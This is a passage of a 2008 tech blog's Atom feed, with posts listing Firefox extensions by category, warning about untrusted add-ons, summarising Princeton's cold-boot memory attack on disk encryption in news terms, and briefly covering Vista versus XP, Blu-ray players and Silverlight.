Firefox.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1269/"&gt;Fasterfox&lt;/a&gt; - Fasterfox allows you to tweak many network and rendering settings such as simultaneous connections, pipelining, cache, DNS cache, and initial paint delay.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/748/"&gt;Greasemonkey&lt;/a&gt; - Allows you to customize the way a webpage displays using small bits of JavaScript.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/2207/"&gt;Cooliris Previews&lt;/a&gt; -  Cooliris Previews for Firefox gives you the power to browse faster and send links instantly.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1122/"&gt;Tab Mix Plus&lt;/a&gt; - Tab Mix Plus enhances Firefox's tab browsing capabilities. It includes such features as duplicating tabs, controlling tab focus, tab clicking options, undo closed tabs and windows, plus much more. It also includes a full-featured session manager with crash recovery that can save and restore combinations of opened tabs and windows.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/636/"&gt;PDF Download&lt;/a&gt; - Allows to choose if you want to view a PDF file inside the browser (as PDF or HTML), if you want to view it outside Firefox with your default or custom PDF reader, or if you want to download it!&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1593/"&gt;Gspace&lt;/a&gt; - This extension allows you to use your Gmail Space (2.8 GB and growing) for file storage. It acts as an online drive, so you can upload files from your hard drive and access them from every Internet capable system.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/3481/"&gt;BlueOrganizer&lt;/a&gt; - The blueorganizer is smart browsing and personalization technology for Firefox. It makes the browser aware of everyday objects like books, movies, wines, restaurants and much more. The blueorganizer helps you automatically collect these object from many popular sites, manage them and instantly find related information.&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;Contacts:&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/2577/"&gt;JAJAH - Web-Activated Telephony&lt;/a&gt; - The JAJAH extension for Firefox integrates call functionality into your browser. Phone numbers on web pages are automatically detected and highlighted. When clicked, JAJAH initiates a phone call from your phone - landline or mobile - to the desired destination.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1512/"&gt;LinkedIn Companion&lt;/a&gt; - LinkedIn is an online network of more than 7.5 million experienced professionals. LinkedIn helps you be more effective in your daily work and opens doors to opportunities by helping you develop and manage your network of business contacts.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1191/"&gt;ReminderFox&lt;/a&gt; - ReminderFox is an extension that displays and manages lists of date-based reminders and ToDo's. ReminderFox does not seek to be a full-fledged calendar system. In fact, the target audience is anybody that simply wants to remember important dates (birthdays, anniversaries, etc) without having to run a fat calendar application.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/3102/"&gt;Email This&lt;/a&gt; - Email This! (formerly known as GMail This!) will send your recipient the link, title, &amp;amp; highlighted text of the page you are viewing using GMail, Yahoo, and Stand-Alone Mail Clients like Outlook Express, Thunderbird, &amp;amp; More!&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/2046/"&gt;FireFoxMenuButtons&lt;/a&gt; - Adds 41 new Buttons (duplicating of menu strings) from Firefox Menu on the Toolbar! Look for this buttons (after installing) on the "Customize toolbar" (Menu/View/Toolbars/Customize...).&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/3209/"&gt;GTDGmail&lt;/a&gt; - GTDGmail discreetly integrates into Gmail making it even more suitable as a GTD tool.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/3794/"&gt;Facebook Toolbar&lt;/a&gt; - Integrate your Facebook life into your browser.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1709/"&gt;WataCrackaz AutoSMS&lt;/a&gt; - Watacrackaz AutoSMS toolbar. Send and receive SMS text messages to and from cellphones around the world.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/2231/"&gt;Skype Sidebar&lt;/a&gt; - Skype Sidebar allows you to call, add, find, chat, and voice mail other contacts without even leaving your browser. Skype Sidebar lets you see the status of your contacts and quickly chat with them. It saves you time, allows you to quickly send files, and also view contacts information. You can even start conference calls. You can customize the width of the Skype object.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/766/"&gt;SMS Send&lt;/a&gt; - ABC SMS Send is a toolbar that allows you to send SMS text messages to over 170 countries.&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;Download Tools:&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/26/"&gt;Download Statusbar&lt;/a&gt; - View and manage downloads from a tidy statusbar - without the download window getting in the way of your web browsing.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/220/"&gt;FlashGot&lt;/a&gt; - Download one link, selected links or all the links of a page together at the maximum speed with a single click, using the most popular, lightweight and reliable external download managers.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/2390/"&gt;VideoDownloader&lt;/a&gt; - Download videos from Youtube, Google, Metacafe, iFilm, Dailymotion, Pornotube... and other 60+ video sites! And all embedded objects on a webpage (movies, mp3s, flash, quicktime, etc).&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/684/"&gt;FireFTP&lt;/a&gt; - FireFTP is a free, secure, cross-platform FTP client for Mozilla Firefox which provides easy and intuitive access to FTP servers.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/201/"&gt;DownThemAll&lt;/a&gt; - The first and only download manager/accelerator built inside Firefox!&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/636/"&gt;PDF Download&lt;/a&gt; - Allows to choose if you want to view a PDF file inside the browser (as PDF or HTML), if you want to view it outside Firefox with your default or custom PDF reader, or if you want to download it!&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/4318/"&gt;Media Pirate - The video downloader&lt;/a&gt; - More and more websites publish their videos in those neat flash players. But if you want to download a video there is no download link. This doesn't mean that you can't download it. Media Pirate creates a download link for you!&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1593/"&gt;Gspace&lt;/a&gt; - This extension allows you to use your Gmail Space (2.8 GB and growing) for file storage. It acts as an online drive, so you can upload files from your hard drive and access them from every Internet capable system.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/4441/"&gt;Firefox Companion for Kodak EasyShare Gallery&lt;/a&gt; - Organizing and sharing your pictures is easier than ever with Firefox Companion for Kodak EasyShare Gallery. Upload photos directly to your Kodak EasyShare Gallery, all within your browser. Drag, drop and arrange pictures adding photo titles, and create albums by multi-selecting photos - all of this without interrupting your Internet browsing.&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;Humor:&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/4258/"&gt;Tab Effect&lt;/a&gt; - Add effects when current tab is changed.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/2995/"&gt;Splash&lt;/a&gt; - Adds a splash screen to most Mozilla and Mozilla Based products.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/2448/"&gt;Firefox Google Bookmarks&lt;/a&gt; - Creates a menu to access google bookmarks from any computer. Needs Google Account to use this extension.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/3792/"&gt;President Bush Countdown&lt;/a&gt; - A timer that counts down the number of days remaining in George W. Bush's term as President of the United States. Clicking on the countdown shows a more detailed timer and enables people to air their grievances on newprez.com. An icon shows when there is a new topic for discussion or a vote.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/3482/"&gt;Usage Counter&lt;/a&gt; - Tells you how much time you have spent using Firefox and browsing sites. (Previously known as Wasted Time Counter).&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/507/"&gt;Bork Bork Bork&lt;/a&gt; - View web pages or mail as spoken by the Swedish Chef like this: "Feeoo veb peges oor meeel es spukee by zee Svedeesh Cheff."&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/4056/"&gt;Anglais&lt;/a&gt; - This extension provides proverbs and jokes to better learn English.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/974/"&gt;STOP! Hammer Time&lt;/a&gt; - Adds 'STOP! Hammer Time!' functionality to Firefox - Simply go to "view -&gt; toolbars -&gt; customize" and swap your stop button for the 'STOP! Hammer Time!' button. Now you can hear MC Hammer whenever a page needs stopping!&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1915/"&gt;Sun Cult&lt;/a&gt; - Worldwide Sunrise, Sunset, Twilight, Moonrise and Moonset Times.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/2278/"&gt;ghostfox&lt;/a&gt; - Stylises Firefox into Ghostzilla (The Invisible Browser) style. Move your mouse away and firefox disappears. Then move it towards the left edge of the screen, back to the right and again to the left and voila - firefox is back again, discretely blended with ur original application to appear like a part of it.&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;Navigation:&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1419/"&gt;IE Tab&lt;/a&gt; - Embedding Internet Explorer in tabs of Mozilla/Firefox. This is a great tool for web developers, since you can easily see how your webpage displayed in IE with just one click and then switch back to Firefox.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1269/"&gt;Fasterfox&lt;/a&gt; - Fasterfox allows you to tweak many network and rendering settings such as simultaneous connections, pipelining, cache, DNS cache, and initial paint delay.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/138/"&gt;StumbleUpon&lt;/a&gt; - StumbleUpon lets you "channelsurf" the best-reviewed sites on the web. It is a collaborative surfing tool for browsing, reviewing and sharing great sites with like-minded people. This helps you find interesting webpages you wouldn't think to search for.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/2394/"&gt;Map+&lt;/a&gt; - View a map of a selected address in Firefox without changing windows or tabs using the right click command.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1122/"&gt;Tab Mix Plus&lt;/a&gt; - Tab Mix Plus enhances Firefox's tab browsing capabilities. It includes such features as duplicating tabs, controlling tab focus, tab clicking options, undo closed tabs and windows, plus much more. It also includes a full-featured session manager with crash recovery that can save and restore combinations of opened tabs and windows.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1833/"&gt;Yoono&lt;/a&gt; - Yoono instantly suggests similar sites, blog notes and people sharing the same interests while you are surfing, for each page you open. Zero effort required - no more tagging, typing keywords or changing interface. Let Yoono bring you the best that others have discovered.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/636/"&gt;PDF Download&lt;/a&gt; - Allows to choose if you want to view a PDF file inside the browser (as PDF or HTML), if you want to view it outside Firefox with your default or custom PDF reader, or if you want to download it!&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/3481/"&gt;BlueOrganizer&lt;/a&gt; - The blueorganizer is smart browsing and personalization technology for Firefox. It makes the browser aware of everyday objects like books, movies, wines, restaurants and much more. The blueorganizer helps you automatically collect these object from many popular sites, manage them and instantly find related information.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1810/"&gt;Firefox Showcase&lt;/a&gt; - Showcase provides a new way to manage your Firefox tabs and windows by showing them as thumbnails in a single window, tab or sidebar. Includes a find bar that will filter the thumbnails, and the capability to select the thumbnails in the same way you would select files in your system.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/39/"&gt;Mouse Gestures&lt;/a&gt; - Allows you to execute common commands (like page forward/backward, close tab, new tab) by mouse gestures drawn over the current webpage, without reaching for the toolbar or the keyboard.&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;Website Integration:&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/2390/"&gt;VideoDownloader&lt;/a&gt; - Download videos from Youtube, Google, Metacafe, iFilm, Dailymotion, Pornotube... and other 60+ video sites! And all embedded objects on a webpage (movies, mp3s, flash, quicktime, etc).&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/138/"&gt;StumbleUpon&lt;/a&gt; - StumbleUpon lets you "channelsurf" the best-reviewed sites on the web. It is a collaborative surfing tool for browsing, reviewing and sharing great sites with like-minded people. This helps you find interesting webpages you wouldn't think to search for.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/3615/"&gt;del.icio.us Bookmarks&lt;/a&gt; - This extension integrates your browser with del.icio.us (http://del.icio.us/), the leading social bookmarking service on the Web. It does this by augmenting the bookmarking functionality in Firefox with an enhanced experience.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/748/"&gt;Greasemonkey&lt;/a&gt; - Allows you to customize the way a webpage displays using small bits of JavaScript.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1833/"&gt;Yoono&lt;/a&gt; - Yoono instantly suggests similar sites, blog notes and people sharing the same interests while you are surfing, for each page you open. Zero effort required - no more tagging, typing keywords or changing interface.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/4441/"&gt;Firefox Companion for Kodak EasyShare Gallery&lt;/a&gt; - Organizing and sharing your pictures is easier than ever with Firefox Companion for Kodak EasyShare Gallery. Upload photos directly to your Kodak EasyShare Gallery, all within your browser. Drag, drop and arrange pictures adding photo titles, and create albums by multi-selecting photos - all of this without interrupting your Internet browsing.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/3006/"&gt;DownloadHelper&lt;/a&gt; - DownloadHelper is a tool for web content extraction. Its purpose is to capture video and image files from many sites.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1730/"&gt;Performancing&lt;/a&gt; - Performancing for Firefox is a full featured blog editor that sits right in your Firefox browser and lets you post to your blog easily. You can drag and drop formatted text from the page you happen to be browsing, and take notes as well as post to your blog.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1512/"&gt;LinkedIn Companion&lt;/a&gt; - LinkedIn is an online network of more than 7.5 million experienced professionals. LinkedIn helps you be more effective in your daily work and opens doors to opportunities by helping you develop and manage your network of business contacts.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/3590/"&gt;Fast Video Download&lt;/a&gt; - Fast Video Download can save embedded video files from video-hosting servers.&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Enjoy the &lt;span&gt;best firefox extensions&lt;/span&gt;!&lt;/h2&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3347156747676882546-6792991304966045644?l=creativzmind.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://creativzmind.blogspot.com/feeds/6792991304966045644/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3347156747676882546&amp;postID=6792991304966045644' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/6792991304966045644'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/6792991304966045644'/><link rel='alternate' type='text/html' href='http://creativzmind.blogspot.com/2008/02/some-cool-add-ons-for-your-browser.html' title='Some cool add-ons for your browser'/><author><name>Hanush.H.Nair</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://bp1.blogger.com/_UHT9NT6eH58/SEwAu0G4JjI/AAAAAAAAD4E/eR0jZLj2FyY/S220/hanush.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3347156747676882546.post-4367391378475465046</id><published>2008-02-23T07:51:00.000-08:00</published><updated>2008-02-23T08:32:56.896-08:00</updated><title type='text'>Firefox add-ons</title><content type='html'>Firefox add-ons are extensions to the modern browser Mozilla Firefox. Firefox is known to be the most secure browser around.It is also the favorite browser of millions. Also the Add-ons surely increase the functionality of the browser. But it can be different if you don't use/select these add-ons carefully. Using add-ons from untrusted publishers can result in the stealing of your private informations, email user ID and passwords, other the forms that you fill out during the course of browsing, the url's that you visit...!!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3347156747676882546-4367391378475465046?l=creativzmind.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://creativzmind.blogspot.com/feeds/4367391378475465046/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3347156747676882546&amp;postID=4367391378475465046' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/4367391378475465046'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/4367391378475465046'/><link rel='alternate' type='text/html' href='http://creativzmind.blogspot.com/2008/02/firefox-add-ons.html' title='Firefox add-ons'/><author><name>Hanush.H.Nair</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://bp1.blogger.com/_UHT9NT6eH58/SEwAu0G4JjI/AAAAAAAAD4E/eR0jZLj2FyY/S220/hanush.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3347156747676882546.post-2140443011725503147</id><published>2008-02-23T07:50:00.000-08:00</published><updated>2008-02-23T07:51:02.347-08:00</updated><title type='text'>Computer Memory Vulnerable to Hacking</title><content type='html'>Want to break into a computer's encrypted hard drive? Just blast the machine's memory chip with a burst of cold air.&lt;br /&gt;&lt;br /&gt;That's the conclusion of new research out of Princeton University demonstrating a novel, low-tech way hackers can access even the most well-protected computers, provided they have physical access to the machines.&lt;br /&gt;&lt;br /&gt;The Princeton report shows how encryption, long considered a vital shield against hacker attacks, can be defeated by manipulating the way memory chips work. The researchers say the ease of their attack raises fears about the security of laptop computers increasingly used to store sensitive information, from personal banking data, to company trade secrets, to national security documents.&lt;br /&gt;&lt;br /&gt;Freezing a dynamic random access memory, or DRAM, chip, the most common type of memory chip in personal computers, causes it to retain data for minutes or even hours after the machine loses power, the report found. That data includes the keys to unlock encryption. Without freezing, the chip loses its contents within seconds.&lt;br /&gt;&lt;br /&gt;Hackers can steal information stored in memory by rebooting the compromised machine with a simple program designed to copy the memory contents - before the computer has a chance to purge sensitive data, according to the study.&lt;br /&gt;&lt;br /&gt;Laptops left in hibernation or sleep mode, or simply not turned off at all, are the most vulnerable to the new type of attack.&lt;br /&gt;&lt;br /&gt;"These risks imply that disk encryption on laptops may do less good than widely believed," according to the report, which was published this week by researchers from Princeton, the Electronic Frontier Foundation digital rights group, and Wind River Systems software company. "Ultimately, it might become necessary to treat DRAM as untrusted, and to avoid storing sensitive confidential data there, but this will not be feasible until architectures are changed to give software a safe place to keep its keys."&lt;br /&gt;&lt;br /&gt;Researchers have known since the 1970s that cooled DRAM chips can retain their contents long after power to them is extinguished, but the researchers said they believe their study is the first security paper to focus on the phenomenon. National security agencies may also have been aware that the types of breaches outlined in the study are possible, the researchers said, but added they weren't able to find evidence of that in any publications.&lt;br /&gt;&lt;br /&gt;The attacks were carried out by spraying an upside-down canister of multipurpose duster spray directly onto the memory chips, freezing them to minus 50 degrees Celsius, about minus 60 Fahrenheit.&lt;br /&gt;&lt;br /&gt;One challenge faced by the researchers was the threat that booting the system will automatically overwrite some parts of the memory. To make sure the contents were retained, they used small, special-purpose programs known as memory-imaging tools, which can be loaded over a network connection or a USB device, to save images captured from the memory chip. The attacks even work when the DRAM chip is removed and transferred to a machine set up by the hacker.&lt;br /&gt;&lt;br /&gt;Special programs were then used to correct errors in the recovered memory contents and reconstruct the keys used for encryption.&lt;br /&gt;&lt;br /&gt;The researchers said their results suggest that "this faith in the strength of disk encryption may be misplaced," arguing that a moderately skilled attacker can bypass many widely used encryption products - including BitLocker, included with some versions of Windows Vista; Apple's FileVault; open-source TrueCrypt; and dm-crypt - if a laptop is stolen while it is powered on or suspended.&lt;br /&gt;&lt;br /&gt;"The use of encryption is not, by itself, necessarily an adequate defense, and data in stolen laptops may be compromised even when encryption is used," the researchers said.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3347156747676882546-2140443011725503147?l=creativzmind.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://creativzmind.blogspot.com/feeds/2140443011725503147/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3347156747676882546&amp;postID=2140443011725503147' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/2140443011725503147'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/2140443011725503147'/><link rel='alternate' type='text/html' href='http://creativzmind.blogspot.com/2008/02/computer-memory-vulnerable-to-hacking.html' title='Computer Memory Vulnerable to Hacking'/><author><name>Hanush.H.Nair</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://bp1.blogger.com/_UHT9NT6eH58/SEwAu0G4JjI/AAAAAAAAD4E/eR0jZLj2FyY/S220/hanush.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3347156747676882546.post-8798483354615002210</id><published>2008-02-23T07:19:00.000-08:00</published><updated>2008-02-23T07:35:50.868-08:00</updated><title type='text'>Microsoft Vista vs XP</title><content type='html'>Its Vista vs XP now!!!&lt;br /&gt;&lt;br /&gt;After more a year of its launch, Microsoft Windows Vista is facing challenge from its on own predecessor, Windows XP.&lt;br /&gt;One of the for it is its cost. In company running all XP, it is not easy for upgrade. If you buy a new PC for you company running Windows Vista, then it would mean you might have replace or buy the peripheral like Scanner, printer etc. Which means, the existing  peripherals wont work with vista. Unlike xp, when it was launched xp doesn't require any addition driver for up to date peripherals. As in the case of Vista, it doesn't even support the peripherals!!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3347156747676882546-8798483354615002210?l=creativzmind.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://creativzmind.blogspot.com/feeds/8798483354615002210/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3347156747676882546&amp;postID=8798483354615002210' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/8798483354615002210'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/8798483354615002210'/><link rel='alternate' type='text/html' href='http://creativzmind.blogspot.com/2008/02/microsoft-vista-vs-xp.html' title='Microsoft Vista vs XP'/><author><name>Hanush.H.Nair</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://bp1.blogger.com/_UHT9NT6eH58/SEwAu0G4JjI/AAAAAAAAD4E/eR0jZLj2FyY/S220/hanush.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3347156747676882546.post-2036892312719451942</id><published>2008-02-23T07:09:00.000-08:00</published><updated>2008-02-23T07:18:51.176-08:00</updated><title type='text'>Blu-ray cum HD DVD Player</title><content type='html'>The battle between Blue ray and HD DVD might have ended, but this has turned down atleast some of the HD DVD player manufactures and buyers! This is just because majority of them were Blu-ray cum HD DVD Players. This is the latest trend of the manufactures.&lt;br /&gt;&lt;br /&gt;The LG BH200 is a decent player with a good 1080p resolution and quality playback performance. The cost of the player is around $700. This has capability to display super 7 megapixel images but doesnt do too well on 10 mega pixel ones.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3347156747676882546-2036892312719451942?l=creativzmind.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://creativzmind.blogspot.com/feeds/2036892312719451942/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3347156747676882546&amp;postID=2036892312719451942' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/2036892312719451942'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/2036892312719451942'/><link rel='alternate' type='text/html' href='http://creativzmind.blogspot.com/2008/02/blu-ray-cum-hd-dvd-player.html' title='Blu-ray cum HD DVD Player'/><author><name>Hanush.H.Nair</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://bp1.blogger.com/_UHT9NT6eH58/SEwAu0G4JjI/AAAAAAAAD4E/eR0jZLj2FyY/S220/hanush.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3347156747676882546.post-6423453765696327583</id><published>2008-02-23T06:48:00.000-08:00</published><updated>2008-02-23T06:59:25.578-08:00</updated><title type='text'>Microsoft Silver light</title><content type='html'>Microsoft introduced silver light as a technology alternative to formerly Macromedia's flash. Microsoft integrated it with microsoft's .NET frame work technology. It gives it a rich interactive experience. &lt;br /&gt;&lt;br /&gt;The below is an extract of what Microsoft claims about silver light:-&lt;br /&gt;-------------------------------------------------------------------------------------&lt;br /&gt;Microsoft® Silverlight™ is a cross-browser, cross-platform plug-in for delivering the next generation of .NET based media experiences and rich interactive applications for the Web. Silverlight offers a flexible programming model that supports AJAX, VB, C#, Python, and Ruby, and integrates with existing Web applications. Silverlight supports fast, cost-effective delivery of high-quality video to all major browsers running on the Mac OS or Windows.&lt;br /&gt;&lt;br /&gt;Experience Silverlight 2.0&lt;br /&gt;Look ahead to the next generation of Silverlight 2.0 controls: Charts, Image Sliders and more. You will be able to create apps having:&lt;br /&gt;&lt;br /&gt;    * Richly compelling experiences.&lt;br /&gt;    * Real relevance for business.&lt;br /&gt;    * Interop with ASP.NET and AJAX.&lt;br /&gt;&lt;br /&gt;Infragistics Labs created an exciting demo showcasing the future of Web design and development. Come visualize all of the great possibilities with us.&lt;br /&gt;&lt;br /&gt;-------------------------------------------------------------------------------------&lt;br /&gt;Like to see website designed in silver light&lt;br /&gt;&lt;a href="http://silverlight.net/"&gt;&lt;br /&gt;silverlight.net&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3347156747676882546-6423453765696327583?l=creativzmind.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://creativzmind.blogspot.com/feeds/6423453765696327583/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3347156747676882546&amp;postID=6423453765696327583' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/6423453765696327583'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3347156747676882546/posts/default/6423453765696327583'/><link rel='alternate' type='text/html' href='http://creativzmind.blogspot.com/2008/02/microsoft-silver-light.html' title='Microsoft Silver light'/><author><name>Hanush.H.Nair</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://bp1.blogger.com/_UHT9NT6eH58/SEwAu0G4JjI/AAAAAAAAD4E/eR0jZLj2FyY/S220/hanush.jpg'/></author><thr:total>0</thr:total></entry></feed>
